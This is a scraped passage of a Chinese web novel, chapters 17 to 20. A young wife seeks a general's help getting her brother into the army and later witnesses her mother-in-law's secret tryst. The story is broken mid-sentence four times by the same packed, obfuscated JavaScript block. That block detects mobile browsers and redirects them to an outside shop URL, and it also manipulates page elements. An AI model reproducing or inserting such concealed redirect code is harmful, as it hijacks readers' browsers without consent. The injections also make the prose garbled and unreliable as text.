十七岁的少年血红了眼睛，他的声音已经哑得不成样子，却还是嘶吼着，仿佛要将五脏六腑都给吼出来。 新坟隆起，少年瘫软在坟前，双手无助地张开，紧紧抱着黄土，仿佛还是那个依偎在乳母怀里的顽童。 万山雪哭得早已没了力气，她怔怔地望着弟弟，无边无际的悲伤里，忽然漫上来一丝欣慰。 阿母去了，红璎、橘霜、弟弟万山毓还有她自己，日后就是她要守护的全部，她必须要尽快将自己从泥潭里拔出来，才能护着他们。 眼下万山毓若是依旧回到万家，兰芬一味哄着捧着，加之春草离世，他必然要沉沦许久，爹爹心中多年的成见怕是又要加上几分。 若是不回去，又该如何呢？ 论读书识字考取功名，弟弟是万万不能的，也委实来不及了。若是学着做生意，爹爹也未必能舍出去这张脸给他争取人脉。 她看了看两旁肃然而立的亲兵，心底忽地一亮。 春草头七过后，万山雪一刻也不敢耽搁，次日清早便拉着万山毓便往黎府去。 万山毓有些不安：“姐姐，要不再等等？” 万山雪停下来看着他：“我打听过了，再过几日就是黎家老太太大寿，黎将军到时候定然没有闲暇。毓儿，你是不是有点害怕？” 万山毓惴惴不安：“姐姐，你看我身无长物，个头也不算高，名声又不好，黎将军能看得上我么？” 万山雪微笑道：“你别担心，这些都包在我身上。” 她摸了摸手边的包袱，盘算了好几日，发觉手头能变出来的钱不过几十两银子，虽然对于普通之家算是不少的了。可是为弟弟打通一条路子，可是远远不够。 她只恨那些年不知道钱财要紧，但凡京城有时兴的料子和上好的脂粉首饰，不论价钱成堆成筐地买，只为换取崔明之一个点头微笑，就觉心满意足。 她咬咬牙，变卖了几套首饰，凑齐三百两银子，又准备了一车礼物。半为感谢，半为求情，总也算得上是诚意十足了。 万山毓发现了姐姐的动作，立刻紧张道：“你这些事情有没有跟崔……姐夫商量？” 万山雪拍拍他：“放心吧，这点子钱姐姐还是拿得起的，你什么都不用管。” 黎家世代忠良，高祖皇帝赐予的将军府坐落于皇城东侧，朱漆大门上悬挂着鎏金匾额，上书“定国将军府”。门前铺着青石板路宽阔平整，两旁所植与寻常人家无异，杨柳青翠，为巍峨的将军府平添了一些亲切。 黎家下人进去通报之后，青鲤迎了出来说道：“将军今日一早便被金相国请去了，归期未定。老太太与老爷太太都在静养，不便接待外客，说举手之劳不必放在心上，请夫人与公子回去吧。” 万山雪不肯走，笑道：“我们就等等将军吧。” 青鲤见再三劝不动，只得笑道：“夫人与公子且随我进来吧。” 迎面而来的巨大影壁吸引了万山雪，上面刻着将军征战沙场的情形，刀光剑影战马嘶鸣，让人只是看着，就能感受到战场的心惊肉跳。此类画卷万山雪也看过不少，多为写意，而这位将军的五官都十分分明，唇角的黑痣更是清晰可见。 相识时间虽然不久，可也算是共渡生死之人了。青鲤待他们比别人更觉亲切，见她看得忘形，便说道：“这正是我们家老太爷，当年那场战争老将军神勇非凡，一战定胜负，高祖皇帝大喜，便命工匠依着老将军的神勇形象做了雕刻。” 万山雪赞叹不已，万山毓则看得血脉贲张：“大丈夫正该如此，才不负来人间走这一遭！” 原本带着笑的青鲤，听了这话却敛了笑意，片刻方道：“很辛苦的。” 绕过影壁，便是一片开阔的前院，院中植满了各式各样的花草树木，错落有致，生机勃勃。桃杏过了花期，叶子葱茏，枝头点缀着青青的果实。一株高大的石榴花开得正艳，火红的花朵如烈焰般炽热，映衬着碧绿的叶子，显得格外耀眼。 青鲤引着他们进了正厅，只见厅内陈设古朴典雅，正中悬挂着一幅青绿山水画，画中山峦叠嶂，江河奔流，树木拂动如有风来四面，令人望之神清意爽。 厅中摆放着几张红木太师椅，椅背上雕刻着虎头图案，威严凛然。厅堂两侧陈列着黎家历任将军征战四方时惯用的兵器，以及天子赐予的荣耀。 穿过正厅，万山雪却步道：“再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756660|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里去，恐惊扰了将军家人。” 青鲤道：“后院还远着，夫人公子放心随我来。” 又穿过一道门，眼前赫然出现一座练武场，正对着一排三间大屋，才是待客厅。 那练武场里摆放着各式兵器，刀枪剑戟，弓弩盾牌，一应俱全。演武场的四周矗立着几座箭靶，靶心上布满了密密麻麻的箭痕。 万山毓不由得心痒痒，奈何身是客，只得老老实实按捺着。 青鲤看出来了笑道：“公子只要不嫌热，去试试又何妨？” 说着唤来小丫头上了茶水，又送来了冰坛，请万山雪稍坐，他陪着万山毓去了练武场。 正厅南北通透，大门都敞开着，后面是一处池子，有风徐徐而来，拂过身边的冰块，传来丝丝凉意。 偌大一个将军府，竟然如此安静，偶然有丫鬟或者小厮经过，也是敛声屏气脚步匆匆，万山雪暗暗讶异。 她隔着窗子，看万山毓兴致勃勃地在练武场里演练，而青鲤不顾天气炎热，一直耐心地陪在身边，颇觉安慰。 果然老话不错，物以类聚人以群分，黎将军人品贵重，身边来往密切的人都是一色的沉稳上进，弟弟若是能长久与他们相处，耳濡目染自然不会差。 正出神想着，可巧儿就瞧见江心澜从小路朝着后院走去，不知是天气太热，还是遇到了什么烦心事儿，垂头丧气，全然没有那日的飒爽。 万山雪连忙呼唤一声，匆匆出了屋子下来相迎，江心澜原本一脸不高兴，看见她便惊喜笑道：“万夫人，您怎么来了？” 万山雪忙道：“不敢当姑娘这样称呼，我闺名万山雪，姑娘就直呼我名字吧。” 两人客套一番，万山雪不愿意对她有所隐瞒，便直言此次来的目的。 江心澜摆手笑道：“军营中的事务，我向来是不敢插手的，只能等黎将军回来再说。可有一件，你的大礼得拿回去。无论成与不成，他是绝对不会收的。” 又寒暄一会儿，万山雪见她眉心有些疲惫，便说道：“姑娘且去歇息吧，我们再等等。” 江心澜笑道：“你真是个细心人儿。我这会子当真是有点儿烦心事，去处理了就过来陪你，千万见谅。” 说着便起身要走，却从袖筒里掉出来一卷画，是画在绢布上的，经风一吹，摊开在地上。 那是一副苍西地域图。一眼望过去，全貌宛在眼前，州郡县村以及河道山岭明明白白，电光石火之间，她已经瞥见了底下的署名：江心澜。 一个女子竟然能有这般大的能耐么？ 在各行各业均被男子挤满时，她竟能长出这般能耐！如同巨石之下的小草，探出头来忽然见识到天高云阔。 万山雪将地图拾起来，掸了又掸，小心地卷好捧给江心澜，眼里全是钦慕：“江姑娘好生厉害。” “这有什么，每个人都有自己的了不起之处。”江心澜接过画卷走远了。 万山雪能听到胸腔里噼噼啪啪的火苗声，起初声音细小而执拗，慢慢地，越来越密集，心湖上的篱笆渐次断裂，在火光中化为灰烬。 18. 第 18 章 熏风越过老槐树，搅碎一树蝉鸣。 黎偃松撂下笔，起身立于窗边向下望去，院中石阶被晒出晃眼的白，芭蕉叶卷着边昏昏欲睡，他抬眼向远处一望：“还在等？” 金鲤端着清茶走过来说道：“是，方才我悄悄去了一趟，青鲤陪着万公子还在练武场。这大热天的，也难为这娇生惯养的公子哥儿，看来对从军倒是挺痴迷的。将军，用些茶再写吧，都枯坐一晌了。” 这时楼梯上传来一阵嗒嗒的脚步声，金鲤笑道：“听着声音准是江姑娘来书楼了，待会儿读书听见这蝉鸣声该发燥了，我赶紧去赶蝉要紧。” 话音刚落，江心澜果然垂头丧气地推门进来了，瞧见黎偃松吃了一惊，随即问道：“你既是在家，怎地不去接待万夫人姐弟，大热天白白地让人家等着？” 黎偃松呷着茶没有说话，江心澜等了一刻不见回应，急得一跺脚道：“这个不高兴就不理人的毛病一百年也改不了，我看将来谁受得了你这狗脾气！” 说着将手里的地图往桌子上一拍，气咻咻地坐下来：“这可倒好，我呢，被裴元淳老爷子的家里人挡在门外，万夫人被您拒之门外，这倒扯了个平。” 黎偃松见信上墨迹干透，折起来收好，这才问道：“你们撞见了？她还没有要走的意思么？” 见江心澜不理会，他轻笑道：“这也值得气得这样，你又不是不知道我，巴巴地坐在那里听人家说千恩万谢的话，有多要命。再说当时若非你的坚持，她们只怕是全都要丢了性命，要感谢也得感谢你江大侠女才对，谢我做什么。” 江心澜摇摇双手：“我不敢抢功，不过万夫人倒是个爽利人，明说了一为谢救命之恩，二则弟弟在家里，父亲忙碌继母溺爱，一天天直往不成器的路上走，只怕对不起先母，想请黎大将军您带他去军营历练一番。” 黎偃松沉默片刻道：“放着正当的招兵流程不去走，却来求我，这不是徇私么？” “得了得了，原来三年一征兵，如今改成五年，前一次去太小，后一次去太大，谁能卡得刚刚好？再说你们遇见人才格外开恩的时候也不是没有，这会子又当着我这个将门出身的人摆起谱儿了。话我是传到了，我去找书了。” “屋子里热烘烘的，你又找什么要紧书，当心热着了。” “找一本如何拿捏裴老爷子，以及如何替某人治疗间歇性哑巴的法宝书。”江心澜头也不回。 黎偃松哑然失笑。 万山雪左等右等不见黎偃松回来，眼见日将中天，已经快到午膳时分，厚着脸皮叨扰一顿倒不算什么，可青鲤已经提前说了老夫人在静养，这就显得太不懂事了。若是回去吧，明日后日再来，只怕也还是个“等”字。 正左右为难时，青鲤用袖子蹭着汗水走了回来，笑道：“公子对这些武器痴迷得很，个个试演一遍，爱不释手。” 万山雪向他脸上仔细一打量，见他笑吟吟的，没有半分不耐烦，焦灼的心平静了下来。 她暗暗想道，人都说不疯魔不成活，从来除了取闹玩耍，不曾见过弟弟这般认真的一面。说不准这正是他的前途所在，若为自己一时脸皮薄退却了，岂不可惜？ 再说为大将者最是惜才，便是退一万步，黎偃松回来看不上弟弟，至少瞧在他认真的份上，语气也会柔软三分，那便有了转圜余地。只要人家不赶自己走，就是日日焊在这儿，又值什么呢？ 她连忙向桌上斟茶捧给青鲤：“舍弟就是这般性子，自小便喜欢舞枪弄棒的，一遇上这些便是入魔了一般，辛苦您这半日陪伴。” 青鲤慌不迭推辞：“夫人真真是折煞我了，快休如此。我去换身衣服就来，夫人且请宽坐。” 黎偃松从回廊转出来，迎面撞上青鲤，青鲤急得赶紧拦住他：“我的好爷儿，方才命我去说不在府里，这会子您出去，我该怎么解释？这不是扯谎么？” 黎偃松想了想，点点头：“唔，确实是个问题，你得好好想想。” 青鲤：…… 金鲤一把扯过他：“别跺脚了，你既然看出来这万公子想入伍，怎么不回来报给将军？” “万公子想入伍？他没说啊，他只是一直在研究兵器。” 金鲤叹了口气，拍拍他的肩膀：“得了，回去躲着吧，回头撞见万夫人了，不好解释。” * 万山雪百无聊赖，用手指蘸着茶水在桌上一笔一划消磨时间时，余光瞥见有人阔步往练武场里走去，那身形，那穿着……黎偃松！ 她惊得一下子跳起来，困意顿时无影无踪，却又不敢出声，只是紧紧地盯着黎偃松的一举一动。 只见他拿起一把弓箭连射三靶，虽然距离远看不很清楚，可是单看万山毓跳起来拍手的模样，便可知其箭法精湛。 她难掩激动，双手合十不住摇晃，恨不能将各路神仙都请来助弟弟一臂之力。 黎偃松这才细细打量起眼前的少年来，只见他满脸诚恳，语无伦次地自荐道：“将军，将军，我今年十七岁了……” 眼里的热诚是那样真挚而熟悉，令黎偃松想到十三岁那年跪在先皇面前的自己。 可眼前的人十七岁了，且不说让他挡在姐姐面前撑起一片天，至少也不该令姐姐为了他这般低声下气地求人。这样一想，心里便生出了两分不喜，他将弓箭递过去。 万山毓憋得满脸通红，才将那张弓勉强拉满。 黎偃松闲闲说道：“招兵这事儿是有严格流程的，你既无特别之处，我又如何能为你破格？” 万山毓捧着弓箭结结巴巴：“将军，请将军给我一点时间，我一定好好练习。” “军营不养闲人。”黎偃松转身就走。 万山雪一见弟弟垂头丧气地跟在黎偃松后面，心里就明白了七八分，连忙迎上去笑道：“将军回来了。” 黎偃松看了旁边明显憋笑的金鲤，不置可否地应了一声。 万山雪便恳切说道：“我们此来，专是为了拜谢将军之恩。舍弟仰慕将军已久，缠着我带了他一道来。我私心想着，一来了却他的心愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756661|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再者麻烦将军看看他是不是那块料子。若当真有几分可塑之处，将军带他去做个脚力打杂，也强似他在京城四处游荡。至于弟弟日常消耗我来负责出资，不敢耗费公中一分一毫。” 黎偃松不料她竟会如此说，看着万山毓低头站在她背后仍然高出一大截来，不由得怒上心头，冷声道：“令弟已经十七有余，放在寻常百姓家，已是需要独撑门面养家糊口的人了，万夫人准备庇护他到几岁呢？” 万山雪噎住，半晌讪讪说道：“蒙受将军大恩，虽是家丑亦不敢隐瞒丝毫。我们母亲去得早，父亲整日忙碌，继母待我们只有宠的而不能严教，是我这个做姐姐的不成器，没有带好头，故而……” 不似初见那日衣衫华丽，她穿着一身素净衣服，浑身装饰不过发间一支白玉簪子，说到委屈处眸子里便漫上一抹雾气，衬得那双杏眼格外摄人心魄。 他定定神说道：“其一，上有父亲继母，还轮不到长姐当母。其二，我方才与令弟说过，军营不养闲人，他目前的表现不足以让我为他破格。金鲤，将那穿云弓拿来赠予万公子。” 又转身对万山雪说道：“在下还有些公务要忙，就不留夫人与公子用膳了。我虚担将军之大名，路见不平乃是理所应当，望夫人休要放在心上，礼物请悉数带回去。” 万山雪说什么也不肯，最后几乎要落下泪来：“将军以救天下为己任是理所应当，我们被救之人表达感激不是一样的么？” 一句话堵得黎偃松无话可驳，有些愣怔，万山雪趁此机会，带着万山毓就告辞：“再谢黎将军赠弓之恩。” 金鲤问道：“将军，要不要我找辆车将这些东西送回去？” 黎偃松只觉得心里乱糟糟的，他摇了摇头：“且先放着。” 午膳过后，景明洲从外面进来了，扬了扬手里的帖子：“咱们前儿还说人家两口子不睦，看看，到底还是一家人，来替妻子拜谢黎大将军的救命之恩了。” 接过来一看，底下署名正是崔明之。 江心澜在一旁吃着葡萄，忍不住笑了：“景明洲你这个倒霉催，每次看热闹都跟不上热乎的。” 金鲤也掌不住笑了，将前后经过说与他听。 景明洲听着听着，脸上的笑意倏地止住：“我说呢，那日撞见万夫人在当铺里，原来是为了筹备这次大礼。” 见众人都瞧着自己，他解释道：“我姨表姐夫不是开了家当铺么，前儿我与他正在楼上闲聊时，瞧见万夫人带了一包东西去当，我见她宁可少兑些钱也要去小铺子，想来是怕撞见熟人没面子，也就没下去打招呼，你们瞧，这不对上了！” 黎偃松将桌上的包袱打开，里面都是簇新簇新的整锭银子，忽地觉得心头被什么东西堵住了，难受得紧。 江心澜唏嘘道：“崔府可是皇商啊，堂堂当家主母竟会落到如此地步……是了，你看她那娘家弟弟如何，是不是块料子？” 黎偃松垂下眼睫，淡淡说道：“看样子倒是有一股子冲劲，心性后劲儿如何尚未可知。” 19. 第 19 章 自出了将军府，万山雪便一言不发，只是怔怔地瞧着窗外出神。 她余光早就瞥见弟弟一直惴惴不安地盯着她，故意装出沉思的模样，等着看他会有何举动。 黎偃松那句话反复在她耳边响起：他已经十七岁了，你要护他到什么时候？ 说来惭愧，从小到大，这该是她这个做姐姐的头一次护着他。黎偃松的话确实不好听，可道理是对的，如今都长大了，她就是有心想护，又能护多久呢？余生的风雨，她并不能全都替他遮挡。 一个人若是没有心气儿，旁人无论如何是激发不了的。 就譬如她自己，若是放在从前，她满心满眼只有崔明之的时候，便是江心澜这等人物站在她面前手把手教她如何自立自强，她只怕还会嗤之以鼻，以为这些皆非女子所虑之事，获得夫君心许才是顶顶要紧的。 正沉吟着，忽然感觉袖子动了动，她一扭头对上弟弟的惴惴不安的双眼：“姐姐，你是不是对我很失望？” 她不觉泛起一阵心疼，忙说道：“你怎会如此想？我只是在考虑，这条路已经是走不通的了，你该何去何从。要么我回去跟你姐夫说说，往后你就跟着他做生意，也是一条出路，崔家这些年深得……” 一语未了便被万山毓倔强打断：“不去！我就是饿死也不跟着他崔明之！” 万山雪欢喜无极，面上却装作懵懂：“那又是为什么？终究是你姐夫，比外人自然是亲近的。” “姐姐，我想过了，黎将军说得很是，我并没有拿得出手的本领，凭什么要求他为我破格？你不用替我想出路了，听青鲤说将军还有半个月离京，我回去就求爹爹给我找个厉害的师傅苦练。” “你没有底子，练武是很辛苦的，若是……” “便是到最后仍得不到将军许可，至少不负姐姐为我蹭这次脸皮。” 万山雪欣慰不已，她伸手拍拍弟弟：“好毓儿，我陪你一起去见爹爹。” 一时无话，快到家时万山雪又嘱咐道：“你在家中凡事要格外留个心，心里话不可轻易吐露给别人。” 万山毓红了眼圈儿，扭头看着窗外。 这句话从前春草掰着口儿劝她，奈何她一个字儿也听不进去。 她长叹一声，伸手帮他理了理衣服：“毓儿，从前种种，都是姐姐的错。从今后，咱们姐弟俩齐心协力，杀出一条路来。” 万山毓回握住她的手，坚定地点点头。 * 不出所料，万山毓才一开口就遭到了万有善的呵斥：“作死的孽障，又翻腾什么花样。人家是将门虎子，天赋极强，加之打小苦练，你整日斗鸡走狗，兴之所至舞两下棍棒也想上战场？也不照照镜子，看看你是不是那成器的料！老老实实滚回去读书，再折腾看我不打断你的狗腿。” 万山雪连忙上前给爹爹捶背，笑道：“都是我的不是，想着带弟弟走一趟长长见识的，没想到惹得爹生这么大气。” 万有善没好气地说道：“不许替他说情！他这会子一时兴起不打紧，大张旗鼓请师傅教导，回头练三天两早的又偷懒耍滑，京城就这么大地儿，你们老子也就这一张脸，不够丢的！” 越说越来气，连万山雪也数落上：“还有你，转过年就二十岁的人了，自己的事儿好歹上点心。因着你成亲三年无所出，我在崔家面前越来越矮，那崔明之和我身份倒好似掉了个过儿！” 万山雪连声应诺：“是是是，都是我不好，连带爹爹受气。” 兰芬在一旁嗔怪道：“你瞧瞧，说一千遍也不改。孩子们这般乖顺，敬重你是父亲，遇到事情好好的来与你商量，你不肯给好脸子，回头都不理你，又该失落了。” 万山雪斟了茶分别捧给万有善夫妇，柔声说道：“父亲母亲且听我说两句，毓儿既有这个念头，就随他去。征兵还有两三年呢，如真能坚持下来了也是他的好前程，便是不能如愿，权当让他跟着人家练武，强身健体了，不比他整日晃晃荡荡的好？” “这是第一件。其二，他已经订了亲事，就是叫准亲家看起来，咱们毓儿也是争气向上的，人家心里岂不宽慰？说出去面上也有光彩。其三，二弟秋闱在即，府里自然是越清净越好，毓儿是个不爱读书的，这么大人了终不成整日困在家里？出去吧，您二老又是操心不下。本身两全其美的事情，爹爹何必气得如此？” 万山雪才说三两句，就觉察到兰芬的目光不住地往她脸上逡巡。 她心下冷笑，后母大概也是诧异的，从前那个半句话不顺心就摔摔打打的万山雪到底哪儿去了，她只装看不见，自顾自地说着。 最后两句戳中了兰芬的心窝子，万山雪明显感觉到她长舒了一口气，说道：“前面说得都好，最后该打，你姐儿四个都是我们的孩子，难道为了锦儿，倒要把他哥哥赶出去不成？” 万有善低头思索片刻：“雪儿这样说，倒是有几分道理。” 他向兰芬说道：“你别多心，雪儿一向跟你最亲，说起话才肆无忌惮的，你明知道她是好心。” 万山雪只觉心头酸涩，记事以来，万有善极少这样帮她说话。 兰芬笑道：“那自然是，我们娘两个的感情还用你说？你又来充和事佬了。那就这么定了吧，多大个事儿，看急得毓儿一头汗。你们爷俩明日就去一趟，将事情定下来吧。” 到午膳时，万有善问了几句将军府的情况，皱眉说道：“在家从父，出嫁从夫，你要谢恩是好事，也应该等明之一道，万一被有心人传出去，崔家人的脸面往哪儿放？” “爹爹顾虑得很是，只是崔郎太忙了，等来等去都不得空。再迟些又是黎家老太太的大寿，合到一起去倒显得咱们拎不清似的。我想着毓儿锦儿都长成大人了，不拘谁有空，陪我一趟都不算失礼。” 万山雪起身替万有善布菜，又笑道：“不过爹爹说的我都记住了，以后有什么事都会提前跟您和母亲商量。” “还说都记住了，我让你跟崔家商量，做姑娘时又何曾跟我们商量过什么！这会子有了夫君婆家，倒巴巴跑回来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756662|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时如此，省了我们多少闲气。” 兰芬连嗔带笑将话头岔过去，吃过饭坚持留万山雪在房里说话。 万山雪知道，是她变化太大引起了兰芬的注意，话里话外都是打探的意味。 她亲昵地靠在兰芬肩上说道：“从前年纪小，对于死亡这事儿没有太大感觉，这次眼睁睁看着乳母为了救我，活生生的人转眼就去了，实在痛心得很。再回想起从前的不懂事，惹得你们操心动怒，真是悔恨交加。以后我要懂事一些，不能再让你和爹爹生气了。” 说到伤心处，便汪了满眼的泪水，挂在睫毛上摇摇欲坠。 兰芬连忙拿帕子给她擦拭：“唉，好孩子，都是我不好，惹得你难过。” 娘俩亲亲热热用过晚膳，直到夜色浓重如墨，万山雪才告辞。 前几日只顾着伤心，往后弟弟又去了武馆，再见面就难了，关于春草中毒的事，她想慢慢理出头绪来，便扯了个幌子让万山毓送她回崔府。 马儿嘚嘚过了城河，就离崔家近了，万山毓停下车子，姐弟俩下来沿着河岸走了一段，先说些毫不相干的事，后便状似无意问起当时弟弟从前多久去看一次春草，拿些什么东西的话。 万山毓努力回想道：“几乎都是隔五六日去一次，见的次数少，不能见的次数多，便是见面阿母也总是不肯与我多说话，不过略待一待就走了。至于带的东西……有时是我在街市上买的斋品，有时逢上家里做了斋品供奉，也会拣些好的送去。” “你说你送去的那些吃食，准能给阿母吃吗？还是众人分掉了？” “我悄悄去问过，寺里的姑子们都知道阿母出家的缘故，佩服她忠心耿耿，待她很好。那小姑子说，带去的斋品在佛前供奉过后，她们会特地分给阿母。” 大抵也是为了暖暖她的心，万山雪一声叹息，不知该难过众人善意的举动伤了春草，还是该庆幸此事没有波及到无辜的人。 “姐姐怎么问起这个话来，有什么问题么？” 万山雪摇摇头：“不过是话赶话多问两句罢了。明儿个你跟爹爹去武馆，可千万要照顾好自己，记住咱们的目的就是学武，若遇到那等不讲理的人，少搭理他们，忍让一步也不算什么……” 万山毓起先认真地听着，到后来渐渐哽咽出声：“姐姐，你这语气好像……好像阿母未出家时，我每次出门，她总是这样叮嘱我……” 万山雪满心内疚，陪他在柳树下的石凳上坐下来，月朗星稀，姐弟俩坐在黑暗里无声地饮泣。 不知过了多久，万山雪拭去眼泪正要说话，抬头看见桥上立着两个人，不知何时来的。 离得虽近，却看不清面目，只能辨认出是一男一女，那女子梳着常见的妇人发髻。 只见她扭身要走，却被男子牢牢抓住笑道：“多少年了还是偷偷摸摸的，老两口许久未见，陪我多说会子话怎么了？” 妇人唾弃一口，笑骂道：“呸，老不正经！” 万山雪却周身一震，那是……婆母的声音。 20. 第 20 章 万山毓随着她的目光看过去，有些不解，正待张口询问时，被她一把捂住嘴巴。 只见桥上两人亲密地挤挤挨挨，声音渐渐低下去，约莫一盏茶的工夫，只听男子说道：“你这个人呐，真真儿天生的操心命，这些年我亏待你什么了？至少保得你儿孙三辈吃喝不愁吧，还是这般不要命地挣，也心疼心疼自个儿身子。” 妇人长长叹息一声：“我的心事，别人不知，你有什么不明白的？” “那短命鬼去了多少年了，你还惦记着他家香火问题。既是他们年轻人不中用，那就不指望了。咱俩老蚌努力一把，生个明珠珠也是指日可待……” 一语未了，便被妇人揪住了耳朵，后来的话再听不清楚，不多时，两人说说笑笑上了桥头的马车。 万山雪仔细分辨妇人的每一个动作，加之二人所谈内容，确认是婆母无疑了。 她只觉得心在腔子里砰砰乱窜，牵起一团乱麻，千头万绪，不知从何处着手理顺。 万山毓这时才回过味儿来，问道：“姐姐，那是崔明之的母亲？” 万山雪点点头又赶紧否认：“也不一定，看不清楚，只是听声音有三分相似罢了。” “什么三分相似？我虽与她不熟，单是听他们说的话也对得上。你难道还替她遮掩不成？” 他越说越激动，霍地站起身来，拊掌道：“好好好，整日对你挑三拣四，如今她这个完人也有错处捏在咱们手里了，我看她往后还怎么欺负你。走，咱们追上去截住车子，给她来个铁证如山，不怕她不承认。” 这个念头方才也在万山雪心里翻涌过。 如今社会风气较之前略开放些，寡妇再嫁也是常有之事，可是有个条件：必须要经过夫家长辈一致同意后，为其择婿。私自做主嫁人是要遭众人唾骂的，更不用说私会男子了。 嫁进来三年，万山雪也从鸡零狗碎中得知，崔父亡故后，崔家几门近亲都是虎视眈眈，紧盯着尤氏动静。倘若她敢说一声再嫁，崔家立时就会被瓜分得连米粒都不剩。所幸崔父当年早早独立门户，不与他们住在一起，又有偌大家业，孤儿寡母的日子还好过些。 听他们说话的声气，私会非止三年两年，也难为她，居然没被人发觉，可见是极谨慎的，也是极艰难的了。 万山毓催促道：“快些走啊。” 她想起那日崔明之所说女子提出和离的条件，心底渐渐清明，打定了主意：“毓儿，我非圣人，不敢说没存这个心思。可是，女子在这世间活着已经很难很难了。” “所有她施加于我的不公，将来自有我与她一一算账的那日。可这件事不能拿来要挟她，这事儿跟你我无关，也没有危害到旁人。你只当作从来不知晓，对任何人都不能提及。” “怪道人家说妇人之仁，姐姐，你想好了，在崔家你想要翻身，这可能是唯一的机会了。”万山毓气得跺脚。 “毓儿，这件事听姐姐的。” 怕见面尴尬，姐弟俩多兜了两圈儿才到崔府。 偏是事有凑巧，万山雪一掀帘子，尤氏正好从那辆马车上下来，车夫没作停留旋即离开了。 借着门口的灯笼，她瞧见尤氏的神情闪过一丝惊慌。 看清楚是万山雪后，尤氏垮下脸来，往马车上死盯了一眼，嗤笑道：“瞧瞧，咱们这一家子没一个闲人，甭管有没有正事，个个都是早出晚归的。” 万山雪只当听不出她的讽刺之意，坦荡地笑道：“今儿一早去母亲院里，珊瑚说您大清早起来就去铺子忙碌了，我便跟二爷说了一声要回娘家，想是他忙，忘了告诉太太。” 她说着回身一招手：“毓儿还不下来，见过太太。” 尤氏见是万山毓，又换了一副声气，客客气气往里面让，万山毓敷衍两句就告辞了。 万山雪送尤氏回院子里，尤氏在门口止住步子说道：“说你几句吧，嘴上虽不顶撞，心里又要埋怨我啰唣了。可不说吧，真憋得我难受。这一份家业，跟中等家庭是万万比不了的，可总归也是几代人千辛万苦积攒下来的产业。明之如今也能撑起一片天了，吃喝嫖赌一个字儿不沾，将来继承给他的儿子总是不成问题的。那你呢？谁指望你做花木兰穆桂英了，连内宅女子的本分都做不好，吃碗汤药还要摔摔打打的，我倒要请教，你这脾气发给谁看的？” 她往乌思羽的院里扬扬下巴：“你看看思羽，为人处世，殷勤小意儿上，是怎样周到，这么大人了，多长点儿心，学学人家的好。” 从前太在意崔明之，进而爱屋及乌忍着怕着婆婆，现在心态完全不一样了，婆婆的几句呲哒亦轻如鸿毛，想要解气回敬几句是轻而易举的，可她还不清楚接下来的路上，婆婆于她会不会是一份助力，逞口舌之快，没有意义。 “母亲说得很是，无怪众人都喜爱思羽，她确实有很多值得我学习的地方。”她目光平静而澄澈地望着尤氏，“母亲知道，我在家时众人都怜我自小丧母，故而宠爱无度，许多事情都不懂。如今既嫁到了崔家，有什么不到的地方，母亲尽管教导便是，不必顾忌。” 几句软话下来，尤氏反而无话可说了，叹口气说道：“人心都是肉长的，你们好好的，我难道是那等鸡蛋里挑骨头的人？看在你经历这一场惊吓伤心的份上，禁足之事暂且不提了。只是子嗣一事你要多加上心，我上了岁数的人，还有多少个三年可以等？” 最后一句有示弱的意味了。 万山雪回到房里，窝在圈椅里，怔怔地盯着烛火出神。 橘霜在一旁给她打着扇子，红璎端了安神汤进来，直向她脸上看：“太太又说不讲理的话了？” 万山雪牵动嘴角勉强笑笑。 “何必委曲求全？照我说，咱们三个出去过活，我们与橘霜卖红薯也能养得起姑娘，在这儿受这一份子闷气，何年何月是个头？” “别说卖红薯了，咱三个出去讨饭吃也能活。可是，这一口气赌得没有意义。”她爱怜地摸了摸红璎消瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756663|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多的脸庞。 “你们看这世间对女性好么？经商的做官的……三百六十行放眼望去，全是男性。他们有无穷无尽自力更生的机会，尚且能够坦然地依仗家庭、亲戚朋友，攀附一切能够抓到手的力量，让自己活得更舒服自在。我们女子本就手无寸铁，再将所剩无几的机会扔掉，不是很傻么？” 